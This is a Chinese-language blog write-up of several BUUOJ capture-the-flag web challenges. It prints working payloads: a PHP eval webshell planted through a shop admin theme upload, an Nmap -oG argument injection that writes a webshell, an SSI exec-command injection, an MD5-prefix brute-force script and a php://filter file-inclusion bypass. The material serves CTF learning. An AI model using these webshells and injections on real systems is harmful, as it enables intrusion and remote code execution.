2020-08-10

9号是个懒狗没做题

[GKCTF2020]老八小超市儿

打开之后各种瞎点没有思路,大佬wp告诉我这种时候就要找管理后门,后门地址/admin.php,用户admin密码shopxo。

登录之后主题插马,先下载一个默认主题,将马插到里面再上传

之后从主页图片看到页面地址

http://8c45f2f9-5337-49d1-921b-2c712fe6aa66.node3.buuoj.cn/public/static/index/default/test.php

蚁剑连上

根目录找到 一个假的flag

然后看hint和auto.sh,看到auto.sh自动执行py文件打开看看

发现可以读取根目录,加上打开真flag的语句

之后在flag.hint看到flag

[网鼎杯 2020 朱雀组]Nmap

这题和之前online tool类似

直接传payload,这里传.php被过滤了于是传phtml

127.0.0.1 ' <?= @eval($_POST["ta3shi"]);?> -oG test.phtml '

试着连一下

成功,扫一下目录

拿flag

[BJDCTF2020]EasySearch

存在.swp泄露源码

<?php
	ob_start();
	function get_hash(){
		$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
		$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
		$content = uniqid().$random;
		return sha1($content); 
	}
    header("Content-Type: text/html;charset=utf-8");
	***
    if(isset($_POST['username']) and $_POST['username'] != '' )
    {
        $admin = '6d0bc1';
        if ( $admin == substr(md5($_POST['password']),0,6)) {
            echo "<script>alert('[+] Welcome to manage system')</script>";
            $file_shtml = "public/".get_hash().".shtml";
            $shtml = fopen($file_shtml, "w") or die("Unable to open file!");
            $text = '
            ***
            ***
            <h1>Hello,'.$_POST['username'].'</h1>
            ***
			***';
            fwrite($shtml,$text);
            fclose($shtml);
            ***
			echo "[!] Header  error ...";
        } else {
            echo "<script>alert('[!] Failed')</script>";
            
    }else
    {
	***
    }
	***
?>

验证密码的md5值前六位等于'6d0bc1'成功之后创建一个shtml文件地址存放在响应头里

写个验证密码的脚本

from hashlib import *
for i in range(1,100000000):
        if (md5(str(i)).hexdigest().startswith('6d0bc1')):
                print(i)
               

得到几个密码值,随便一个都可以

看到地址,然后这里username处存在ssi注入(引用自引用

(shtml是一种基于SSI技术的文件。SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。IIS和Apache都可以开启SSI功能)

(SSI注入的条件:

1.Web 服务器已支持SSI(服务器端包含)

2.Web 应用程序未对对相关SSI关键字做过滤

3.Web 应用程序在返回响应的HTML页面时,嵌入用户输入)

传入payload

<!--#exec cmd="find / -name 'flag*'"-->

得到

cat最后一个即可

[BSidesCF 2020]Had a bad day

试一下直接包含报错,试着

发现自动加了php

看看flag

多了一个但是没有什么用,试试读取源码

category=php://filter/convert.base64-encode/resource=index
<?php
$file = $_GET['category'];

if(isset($file))
{
if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
	include ($file . '.php');
	}
else{
    echo "Sorry, we currently only support woofers and meowers.";
	}
}
?>

那么最终payload,中间包含了一个index,第一次见到这种嵌套

category=php://filter/convert.base64-encode/index/resource=flag

解码得到flag

[BJDCTF 2nd]Schrödinger

翻译一下先(红字部分本来是白色的)

试一下输入http://127.0.0.1/test.php

check并抓包

发现cookie的dXNlcg经过base64解码是时间戳,改为dXNlcg=0发包

去b站找到这个视频翻几页,暴打出题人

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值